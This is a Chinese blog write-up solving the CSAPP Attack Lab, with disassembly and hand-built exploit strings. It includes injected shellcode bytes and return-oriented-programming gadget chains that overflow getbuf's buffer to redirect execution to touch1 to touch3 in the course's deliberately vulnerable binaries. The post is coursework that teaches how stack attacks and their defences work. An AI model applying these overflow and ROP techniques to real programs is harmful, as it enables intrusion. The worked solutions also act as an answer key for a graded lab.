这个实验非常有意思,了解一下缓冲区溢出相关的知识就可以开始了。
                                                        !  ^_^ !
文件信息:
argetk中的文件包括:
README.txt:描述目录内容的文件
ctarget:易受代码注入攻击的可执行程序
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:8位十六进制代码,您将在攻击中使用它作为唯一标识符。
farm.c:目标“gadget farm”的源代码,您将使用它生成面向返回的编程攻击。
hex2raw:生成攻击字符串的实用程序。
《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻_Addyz的博客-CSDN博客
看官方文档说是要以csapp3.10.3–3.10.4作为参考,这两个小节主要讲了缓冲区溢出和保护机制。
缓冲区溢出:
对抗缓冲区溢出攻击:
栈随机化:
栈的位置每次运行都有变化,因此很多地址不能确定,代码不能实现跳转。实现的方法是在程序开始时,在栈上分配一段0~n字节之间随机大小的空间。
金丝雀值(canary):
在栈的缓冲区开始的位置填充一个值,每次函数调用这个数值要和数据段中的一个不可更改的值进行比较,一旦发生缓冲区溢出,cannary值就会发生变化,从而结束程序。
限制可执行代码区域:
栈空间被设置为不可执行属性,所以不能直接在输入的字符中创建shellcode,要通过rop才能实行攻击。
实验部分1代码注入攻击:
Level1:
test 调用完getbuf,使getbuf 返回执行touch1 而不是返回test 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | unsigned getbuf() {     char buf[BUFFER_SIZE];     Gets(buf);     return 1; } void test() {     int val;     val = getbuf();     printf("No exploit.Getbuf returned 0x%x\n",val); }
  void touch1() {     vlevel=1;     printf("Touch1!:You called touch1()\n");     exit(0); }
   | 
 
对应的汇编内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | 00000000004017a8 <getbuf>:   4017a8:	48 83 ec 28          	sub    $0x28,%rsp   4017ac:	48 89 e7             	mov    %rsp,%rdi   4017af:	e8 8c 02 00 00       	call   401a40 <Gets>   4017b4:	b8 01 00 00 00       	mov    $0x1,%eax   4017b9:	48 83 c4 28          	add    $0x28,%rsp   4017bd:	c3                   	ret       4017be:	90                   	nop   4017bf:	90                   	nop      0000000000401968 <test>:   401968:	48 83 ec 08          	sub    $0x8,%rsp   40196c:	b8 00 00 00 00       	mov    $0x0,%eax   401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>         # push IP ; jmp getbuf   401976:	89 c2                	mov    %eax,%edx   401978:	be 88 31 40 00       	mov    $0x403188,%esi   40197d:	bf 01 00 00 00       	mov    $0x1,%edi   401982:	b8 00 00 00 00       	mov    $0x0,%eax   401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>   40198c:	48 83 c4 08          	add    $0x8,%rsp   401990:	c3                   	ret       401991:	90                   	nop      00000000004017c0 <touch1>:   4017c0:	48 83 ec 08          	sub    $0x8,%rsp   4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>   4017cb:	00 00 00    4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi   4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>   4017d8:	bf 01 00 00 00       	mov    $0x1,%edi   4017dd:	e8 ab 04 00 00       	call   401c8d <validate>   4017e2:	bf 00 00 00 00       	mov    $0x0,%edi   4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>
 
   | 
 
我们只要确定存放返回地址的位置,将其覆盖成4017c0即可。可以看到调用getbuf之后,sub    $0x28,%rsp,创建了0x28字节的缓冲区域,返回地址位于栈底,第一个字符距离栈底28个字节,我们只要输入一串长度为32字节的字符,前二十八个任意填充,后四个按照小端序填充touch1的地址c0 17 40 00即可。
1 2 3 4 5 6
   | 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00
   | 
 

正确的姿势是将16进制数据写入flag1.txt然后使用题目中给出的16进制转字符串工具>flag01.txt,然后将flag01.txt作为参数传入。
1
   | ./hex2raw < flag1.txt  > input1.txt
   | 
 
注意这里的< 和 >不是括号,而是指向,将flag1.txt传入hex,其输出结果写入input1.txt
1
   | ./ctarget -q -i flag01.txt
   | 
 
- -q选项是不连接网络 (不加此选项会报错)
 
- -i 是 以文件作为输入
 
Level2:
test调用getbuf,并返回touch2,和level1的不同在于touch2需要参数,函数的第一个参数是存放在rdi寄存器中的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | unsigned getbuf() {     char buf[BUFFER_SIZE];     Gets(buf);     return 1; }
  void test() {     int val;     val = getbuf();     printf("No exploit.Getbuf returned 0x%x\n",val); }
  void touch2(unsigned val) {     vlevel=2;     if (val==cookie)     {         printf("Touch2!:You called touche2(0x%.8x)",val);         validate(2);     }     else     {         printf("Misfire:You called touch2(0x%.8x)\n",val);         fail(2);     }     exit(0); }
   | 
 
对应的汇编内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | 00000000004017a8 <getbuf>:   4017a8:	48 83 ec 28          	sub    $0x28,%rsp   4017ac:	48 89 e7             	mov    %rsp,%rdi   4017af:	e8 8c 02 00 00       	call   401a40 <Gets>   4017b4:	b8 01 00 00 00       	mov    $0x1,%eax   4017b9:	48 83 c4 28          	add    $0x28,%rsp   4017bd:	c3                   	ret       4017be:	90                   	nop   4017bf:	90                   	nop      0000000000401968 <test>:   401968:	48 83 ec 08          	sub    $0x8,%rsp   40196c:	b8 00 00 00 00       	mov    $0x0,%eax   401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>         # push IP ; jmp getbuf   401976:	89 c2                	mov    %eax,%edx   401978:	be 88 31 40 00       	mov    $0x403188,%esi   40197d:	bf 01 00 00 00       	mov    $0x1,%edi   401982:	b8 00 00 00 00       	mov    $0x0,%eax   401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>   40198c:	48 83 c4 08          	add    $0x8,%rsp   401990:	c3                   	ret       401991:	90                   	nop      00000000004017ec <touch2>:   4017ec:	48 83 ec 08          	sub    $0x8,%rsp   4017f0:	89 fa                	mov    %edi,%edx   4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel> vlevel=2;   4017f9:	00 00 00    4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>   if(val==cookie)   401802:	75 20                	jne    401824 <touch2+0x38>   401804:	be e8 30 40 00       	mov    $0x4030e8,%esi   401809:	bf 01 00 00 00       	mov    $0x1,%edi   40180e:	b8 00 00 00 00       	mov    $0x0,%eax   401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>   401818:	bf 02 00 00 00       	mov    $0x2,%edi   40181d:	e8 6b 04 00 00       	call   401c8d <validate>   401822:	eb 1e                	jmp    401842 <touch2+0x56>   401824:	be 10 31 40 00       	mov    $0x403110,%esi   401829:	bf 01 00 00 00       	mov    $0x1,%edi   40182e:	b8 00 00 00 00       	mov    $0x0,%eax   401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>   401838:	bf 02 00 00 00       	mov    $0x2,%edi   40183d:	e8 0d 05 00 00       	call   401d4f <fail>   401842:	bf 00 00 00 00       	mov    $0x0,%edi   401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>
 
   | 
 
首先还是在保存返回地址的地方填充touch2的地址,接下来的难点在于如何将cookie填充到rdi中
1
   | cmp    0x202ce2(%rip),%edi    # if(val==cookie)
   | 
 
cookie的值储存在相对rip偏移0x202ce2的位置。思路: 仍然填充44个字节,最后四个字节填充我们编写的shellcode的地址,通过执行shellcode,rdi填充了cookie,并将touch2的地址pop进了栈,最后ret回到touch2。ret指令相当于pop ip,我们64位机器使用retq。

使用gdb进行调试,b getbuf 将断点设在getbuf函数,查看栈的地址,减去0x28之后,栈顶的地址是0x5561dc78。这是我们填充的数据
1 2 3 4 5 6
   | mov 0x59b997fa,%edi push touch2_address retq xxxxxxxxxxx xxxxxxxxxxx return_address
   | 
 
有一点要注意,栈是从高地址向低地址增长,而代码是从低地址往高地址执行所以填充之后栈空间应该是这样
接下来是得到相应的字节码,首先用gcc进行汇编操作得到.o后缀的目标文件,然后用odjdump进行反汇编即可。
1 2 3
   | 0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi 5:	68 ec 17 40 00       	push   $0x4017ec c:	c3                   	ret    
   | 
 
1 2 3 4 5 6
   | bf fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55
   | 
 

成功,中间犯了一个小错误,将push $0x4017ec写成了push   0x4017ec,其中前者代表的是立即数,后者则代表的内存地址处的值。
Level3:
还是test调用完getbuf之后不返回test,而是执行touch3,touch3需要接收参数cookie,touch3中还调用了hexmatch函数,要传递两个参数。
思路: 不能直接ret到touch3中,应该像上一个挑战一样,先跳转到我们的shellcode,shellcode完成参数的传递以及ret到touch3。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
   | unsigned getbuf() {     char buf[BUFFER_SIZE];     Gets(buf);     return 1; }
  void test() {     int val;     val = getbuf();     printf("No exploit.Getbuf returned 0x%x\n",val); }
  int hexmatch(unsigned val,char *sval) {   char cbuf[110];   char* s=cbuf+random()%100;   sprintf(s,"%.8x",val);   return strncmp(sval,s,9)==0; }
  void touch3(char* sval) {     vlevel=3;     if(hexmatch(cookie,sval)){         printf("Touch3!:You called touch3(\"%s\")\n,sval");         calidate(3);     }else{         printf("Misfire:You called touch3(\"%s\")\n,sval");         fail(3);     }     exit(0); }
   | 
 
汇编代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
   | 00000000004017a8 <getbuf>:   4017a8:	48 83 ec 28          	sub    $0x28,%rsp   4017ac:	48 89 e7             	mov    %rsp,%rdi   4017af:	e8 8c 02 00 00       	call   401a40 <Gets>   4017b4:	b8 01 00 00 00       	mov    $0x1,%eax   4017b9:	48 83 c4 28          	add    $0x28,%rsp   4017bd:	c3                   	ret       4017be:	90                   	nop   4017bf:	90                   	nop      0000000000401968 <test>:   401968:	48 83 ec 08          	sub    $0x8,%rsp   40196c:	b8 00 00 00 00       	mov    $0x0,%eax   401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>         # push IP ; jmp getbuf   401976:	89 c2                	mov    %eax,%edx   401978:	be 88 31 40 00       	mov    $0x403188,%esi   40197d:	bf 01 00 00 00       	mov    $0x1,%edi   401982:	b8 00 00 00 00       	mov    $0x0,%eax   401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>   40198c:	48 83 c4 08          	add    $0x8,%rsp   401990:	c3                   	ret       401991:	90                   	nop      000000000040184c <hexmatch>:   40184c:	41 54                	push   %r12   40184e:	55                   	push   %rbp   40184f:	53                   	push   %rbx   401850:	48 83 c4 80          	add    $0xffffffffffffff80,%rsp    #-128   401854:	41 89 fc             	mov    %edi,%r12d   401857:	48 89 f5             	mov    %rsi,%rbp   40185a:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax   401861:	00 00    401863:	48 89 44 24 78       	mov    %rax,0x78(%rsp)   401868:	31 c0                	xor    %eax,%eax   40186a:	e8 41 f5 ff ff       	call   400db0 <random@plt>   40186f:	48 89 c1             	mov    %rax,%rcx   401872:	48 ba 0b d7 a3 70 3d 	movabs $0xa3d70a3d70a3d70b,%rdx   401879:	0a d7 a3    40187c:	48 f7 ea             	imul   %rdx   40187f:	48 01 ca             	add    %rcx,%rdx   401882:	48 c1 fa 06          	sar    $0x6,%rdx   401886:	48 89 c8             	mov    %rcx,%rax   401889:	48 c1 f8 3f          	sar    $0x3f,%rax   40188d:	48 29 c2             	sub    %rax,%rdx   401890:	48 8d 04 92          	lea    (%rdx,%rdx,4),%rax   401894:	48 8d 04 80          	lea    (%rax,%rax,4),%rax   401898:	48 c1 e0 02          	shl    $0x2,%rax   40189c:	48 29 c1             	sub    %rax,%rcx   40189f:	48 8d 1c 0c          	lea    (%rsp,%rcx,1),%rbx   4018a3:	45 89 e0             	mov    %r12d,%r8d   4018a6:	b9 e2 30 40 00       	mov    $0x4030e2,%ecx   4018ab:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx   4018b2:	be 01 00 00 00       	mov    $0x1,%esi   4018b7:	48 89 df             	mov    %rbx,%rdi   4018ba:	b8 00 00 00 00       	mov    $0x0,%eax   4018bf:	e8 ac f5 ff ff       	call   400e70 <__sprintf_chk@plt>   4018c4:	ba 09 00 00 00       	mov    $0x9,%edx   4018c9:	48 89 de             	mov    %rbx,%rsi   4018cc:	48 89 ef             	mov    %rbp,%rdi   4018cf:	e8 cc f3 ff ff       	call   400ca0 <strncmp@plt>   4018d4:	85 c0                	test   %eax,%eax   4018d6:	0f 94 c0             	sete   %al   4018d9:	0f b6 c0             	movzbl %al,%eax   4018dc:	48 8b 74 24 78       	mov    0x78(%rsp),%rsi   4018e1:	64 48 33 34 25 28 00 	xor    %fs:0x28,%rsi   4018e8:	00 00    4018ea:	74 05                	je     4018f1 <hexmatch+0xa5>   4018ec:	e8 ef f3 ff ff       	call   400ce0 <__stack_chk_fail@plt>   4018f1:	48 83 ec 80          	sub    $0xffffffffffffff80,%rsp   4018f5:	5b                   	pop    %rbx   4018f6:	5d                   	pop    %rbp   4018f7:	41 5c                	pop    %r12   4018f9:	c3                   	ret    
  00000000004018fa <touch3>:   4018fa:	53                   	push   %rbx   4018fb:	48 89 fb             	mov    %rdi,%rbx        #将rdi里的参数复制到rbx   4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>   401905:	00 00 00    401908:	48 89 fe             	mov    %rdi,%rsi  #参数sval   40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>   401911:	e8 36 ff ff ff       	call   40184c <hexmatch>   401916:	85 c0                	test   %eax,%eax   401918:	74 23                	je     40193d <touch3+0x43>   40191a:	48 89 da             	mov    %rbx,%rdx   40191d:	be 38 31 40 00       	mov    $0x403138,%esi   401922:	bf 01 00 00 00       	mov    $0x1,%edi   401927:	b8 00 00 00 00       	mov    $0x0,%eax   40192c:	e8 bf f4 ff ff       	call   400df0 <__printf_chk@plt>   401931:	bf 03 00 00 00       	mov    $0x3,%edi   401936:	e8 52 03 00 00       	call   401c8d <validate>   40193b:	eb 21                	jmp    40195e <touch3+0x64>   40193d:	48 89 da             	mov    %rbx,%rdx   401940:	be 60 31 40 00       	mov    $0x403160,%esi   401945:	bf 01 00 00 00       	mov    $0x1,%edi   40194a:	b8 00 00 00 00       	mov    $0x0,%eax   40194f:	e8 9c f4 ff ff       	call   400df0 <__printf_chk@plt>   401954:	bf 03 00 00 00       	mov    $0x3,%edi   401959:	e8 f1 03 00 00       	call   401d4f <fail>   40195e:	bf 00 00 00 00       	mov    $0x0,%edi   401963:	e8 d8 f4 ff ff       	call   400e40 <exit@plt>
 
   | 
 
首先调用touch3之前,要确保rdi中有指针,注意参数类型是char*而上一个挑战 void touch2(unsigned val)参数是一个无符号整型,所以这一次我们还要创建一个字符串被rdi中的指针所指。字符串是“59b997fa”,我们将字符串的ascii输入。
1 2 3 4
   | db "59b997fa",0 mov %sval_address ,%rdi push %touch3_address ret
   | 
 
字符串是以**’\0’**结尾的,其ascii是0,检测到0计算机就是到字符串结束了。我们只要将字符串的首地址放入寄存器rdi即可。题目描述中还提到
可以看到在调用了hexmatch之后,连续push了三次
所以临近返回地址的地方不要存放数据。
1 2 3
   | 0:	48 c7 c7 78 dc 61 55 	mov    $0x5561dc78,%rdi 7:	68 fa 18 40 00       	push   $0x4018fa c:	c3                   	ret    
   | 
 
所以:
1 2 3 4 5 6
   | 35 39 62 39 39 37 66 61  00 48 c7 c7 78 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 dc 61 55
   | 
 
注意,最后的四字节的地址不再是栈顶的位置,因为我们的字符串是存放在栈顶的,ret到栈顶程序不会向下执行,我们要ret到mov指令的地址。81=78+9

失败了,猜测应该还是被hexmatch和strcmp压入的数据覆盖了,参考了一下,原来还可以将字符串放置在第44个字节后面,即test的栈帧中,因为我们不在返回test所以覆盖那里也没什么影响。
1 2 3
   | 0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi 7:	68 fa 18 40 00       	push   $0x4018fa c:	c3                   	ret  
   | 
 
1 2 3 4 5 6 7
   | 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
   | 
 
注意不能直接跟在44字节后面,因为64位机器ret指令相当于pop八个字节,pop之后rsp+8,所以字符串要在返回地址八个字节之后.0x5561dca8=0x5561dc78+0x2c(48字节)。

成功!!!
实验部分2面向返回的编程:
这一部分难度增加,上一部分挑战栈既没有随机化也没有不可执行的内存标记。栈空间被标记为不可执行区域,所以我们不再能使用注入的shellcode。接下来的挑战要用到ROP ( Return-oriented Programming )即面向返回的编程。
ROP原理:		 

我们注入的内容被划分为一个个gadget,其实是一个个地址,gatcode有一个显著的特点,即最后一字节内容为c3即ret的机器码,这样一个个gatget就有ret指令连接了起来。既然栈内空间不可执行,那么这个地址要指向哪里呢?答案是程序现有的代码段,举例来说
这是一个函数,看起来没什么特别,也没有什么攻击性,但是转化为它的机器级表示
其中 48 89 c7是 mov %rax,rdi的机器码,我们只要在返回地址处填充0x400f18(起始地址400f15往后三个字节)即可执行mov %rax,rdi并且由ret弹出栈内的下一个地址继续操作。PDF给出了几张供我们参考攻击的表
                



好,接下来开搞。!!!
Level4:
这个挑战和2要达到相同的目的,即test在调用完getbuf之后返回执行touch2,执行touch2之前要往%rdi中传递参数cookie。在level2中我们直接在栈中注入了mov cookie,%rdi 的机器码,这次挑战我们只能利用现有的代码执行。
分为两步,cookie在我们注入的字符串中,要通过pop指令将cookie弹到rdi中,对应的机器码是 5f,可惜的是在给出的gadget中并没有5f,所以我们只能先将cookie弹到一个寄存器,再将这个寄存器的值复制到%rdi中

48 89 c7对应 mov %rax,%rdi,地址是0x4019a2

58 90 c3 对应 popq %rax  ; nop ; ret 。地址0x4019ab。接下来就该考虑注入的顺序了。
touch2的地址:0x4017ec。cookie的值0x59b997fa

1 2 3 4 5 6 7 8 9
   | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
   | 
 

脑子抽了一直用上一个题目测试答案显示失败。。。
Level5:
使用ROP完成level3。这是shellcode实现的操作:
1 2 3 4
   | db "59b997fa",0 mov %sval_address ,%rdi push %touch3_address ret
   | 
 
首先将字符串“35 39 62 39 39 37 66 61 0a 00”入栈,然后将其首地址pop到一个寄存器,然后复制到%edi,然后调用touch3,要考虑到hexmatch和strcmp对栈的影响。由于栈随机化的原因,我们不能直接获得字符串的地址,但是可以通过movl %esp,xxx指令得到当前的栈顶地址,计算出字符串的地址。movl以寄存器作为目的时会把高四个字节设置为0.

只有一个选择 48 89 e0 即 mov %rsp,%rax  (或许89 e0),栈顶地址被放入%eax中,地址0x401a07。。。思考了良久之后,我发现无解了,因为仅靠寄存器之间的mov指令和pop指令不可能增加某个寄存器的值,所以我们放入%eax中的值不能发生变化,这显然不可能。
看了提示之后才恍然大悟,题目并没有局限在mov,movl,popq指令之间,在提供的rop指令中存在大量的lea指令,之前学习过lea指令,加载有效地址,同时它可以进行四则混合运算,在这里我们需要他的加运算。

检索了全部lea相关的指令,发现只有一个能够使用(其他都是lea    -0x6fa78caf(%rdi),%eax格式,即将%rdi加上一个立即数赋值给%eax)。lea (%rdi,%rsi,1),%rax的作用是rax=rdi+rsi*1,有了这条指令的帮助我们就可以变更栈中存放的地址。
只要按照这个思路,计算出X的值即可,实际操作过程中发现没有pop %rsi以及许多相关指令,最终只能用 pop %rax ; mov eax,edx ; mov edx,ecx; mov ecx,esi 这四条指令来代替。
pop %rax;ret地址:0x4019ab
mov eax,edx;ret地址:0x401a42
mov edx,ecx;ret地址:0x401a69
mov ecx,esi;ret地址:0x401a13
mov rsp,rax地址:0x401aad
mov rax,rdi地址:0x4019a2
lea    (%rdi,%rsi,1),%rax地址:0x4019d6
mov rax,rdi地址:0x4019a2

通过计算,执行mov rsp,rdi的时候rsp的值是48,cookie相对它32个字节即0x20
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ab 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1a 40 00 00 00 00 00 69 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
   | 
 

over,学到了很多^_^